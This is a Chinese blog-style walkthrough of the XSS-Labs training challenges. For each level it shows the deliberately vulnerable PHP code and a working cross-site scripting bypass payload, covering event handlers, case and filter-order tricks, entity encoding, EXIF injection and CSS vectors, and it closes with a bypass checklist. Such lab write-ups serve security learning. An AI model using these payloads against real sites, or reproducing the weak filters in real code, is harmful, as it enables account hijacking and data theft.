XSS-Labs做题随记

level-1

第一关十分的简单 没有对传入的参数进行过滤

payload

<script>alert(/XSS/)</script>即可.

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

level-2

第二关 传入的参数在value值里 代码无法像正常的js代码一样执行 只需要将其闭合即可

<input name=keyword value="<script>alert(/XSS/)</script>">

payload

"><script>alert(/XSS/)</script><xss a="

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

level-3

第三关加了htmlspecialchars()函数 过滤了<>

这里可以构造onclick或者onmouseover

payload

"onclick="alert (/XSS/)

'onmouseover=''javascript:alert(/XSS/)

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

level-4

过滤了<> 直接替换成空 还可以构造两个事件绕过

payload

"onclick="alert (/XSS/)

'onmouseover=''javascript:alert(/XSS/)

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-5

过滤了<script 给替换成了<scr_ipt 甚至on也替换成了o_n

可以尝试利用a标签的href属性执行javascript:伪协议

payload

"><a href='javascript:alert(/XSS/)'/>

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-6

过滤了"<script" "on" "src" "data" "href" 替换成了"<scr_ipt" "o_n" "sr_c" "da_ta" "hr_ef"

但是这些都可以靠大小写绕过

payload

"><Script>alert(/XSS/)</Script>

"Onclick="alert(/XSS/)

"Onmouseover=''javascript:alert(/XSS/)

"><img Src = x Onerror="alert(/XSS/)

`"><a Href="javascript:alert(/XSS/)
`

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-7

过滤了"script" "on" "src" "data" "href"替换成空字符 但是因为用了strtolower()函数把所有字符转换为小写 所以无法用大小写绕过 但可以用过滤顺序绕过 下面就展示一种根据过滤顺序绕过payload 当然也可以用双写绕过

payload

"><scrhrefipt>alert(/xss/)</scrhrefipt>

核心代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level-8

过滤了"script" "on" "src" "data" "href"以及双引号 因为不是替换成空字符所以无法用双写绕过 在获取页面提交的数据时 也用了strtolower()将内容全部替换成小写 故也无法用大小写绕过

payload

javascript:alert(/XSS/)的HTML实体编码样式可以绕过 利用了href可以执行javascript伪代码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#88;&#83;&#83;&#47;&#41;

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
 <?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

level-9

还是第八关的绕过只不过在连接验证上加了检测http://只需要在伪代码最后加上即可

payload

javascript:alert(/XSS/)//http://

即实际提交代码为

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#88;&#83;&#83;&#47;&#41;//http://

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

level-10

上传的keyword没有任何用处 通过观察页面源码发现还有三个变量 t_link t_history t_sort 通过上传测试发现只有t_sort能够传入又过滤了>< 尝试传入"onclick=alert(/XSS/)可以绕过但无法触发 所以添加"type="text" 形成文本框 点击后触发

payload "type="text" onclick="alert(1)"

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-11

疯狂传参发现无济于事 页面源码中加入了这个t_ref变量显示的是http的refer头信息 所以猜测触发点在这儿 burp抓包 修改referer值发现过滤了<> 虽尝试上一关的payload 成功绕过

payload

"type="text" onclick="alert(1)"

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-12

跟11关换汤不换药 注入点变成了uesr-agent而已

payload

"type="text" onclick="alert(1)"

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-13

跟11关换汤不换药 注入点变成了cookie而已

payload

"type="text" onclick="alert(1)"

核心代码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

level-14

没有后端代码 但是检查页面源码发现一个 iframe 但是调用的文件地址失效 叫做 http://www.exifviewer.org/ 通过查资料 这是一种少见的XSS攻击方式叫做exif XSS

exif xss

一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具 命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

level-15

进入15关告诉我自己走出去

页面源码中有ng-include即本地文件包含,调用本地有xss漏洞的文件,触发xss

源码中又把提交的src变量用htmlspecialchars()处理了 所以调用随意的文件并构造XSS攻击

payload

?src='level1.php?name=<img src = x onerror=alert(/XSS/)>'

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

level-16

这关将上传的数据先转换成小写 又过滤了"script" " " "/" " " 空格和tab都过滤了 替换成了html实体的空格代码 这就需要用其他方式代替空格构造img标签了 测试发现%0a换行符可以替代

payload

<img%0asrc%0a=%0ax%0aonerror=alert('XSS')>

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

level-17

界面提交两个变量 arg1和arg2 但查看页面源码后发现 真实数据为arg1上传的变量为真实变量名 arg2为上传的真实参数 所以修改arg2的参数为onmouseover事件即可

payload

arg1=a&arg2= onmouseover=alert(/XSS/)

核心代码

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-18

从源码上我没看出来和17关的差别......百度说过滤了双引号......没啥影响

payload

arg1=a&arg2= onmouseover=alert(/XSS/)

核心代码

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level-19-20

在这发现源码还那个屌样...查了一下说要访问xsf03.swf然后进行反编译...

20关也是一个尿性....决定暂时先放一放 这玩意儿暂时超出现有水平了

总结

反射型XSS测试步骤总结:

1.检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或选择值

2.分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

xss的攻防:

1.利用<>标记,构造等字符。

2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

xss 过滤函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

xss 过滤函数需过滤&#等字符。

5.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

css代码中利用expression触发xss漏洞。如下所示:

<div style="width: expression(alert('xss'));>
<img src="#" style="xss:expression(alert(/xss/));">
<style>body {background-image:expression(alert("xss"));}</style>
<div style="list-style-image:url(javascript:alert('xss'))">

css代码中利用@import触发xss

<stytle>
@import 'javascript:alert("XSS")';
</stytle>

css代码中使用@import和link方式导入外部含有xss代码的样式表文件

<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.***.com/a.css);</style>

xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

最后修改:2020 年 08 月 10 日 08 : 51 PM
请作者喝杯奶茶吧~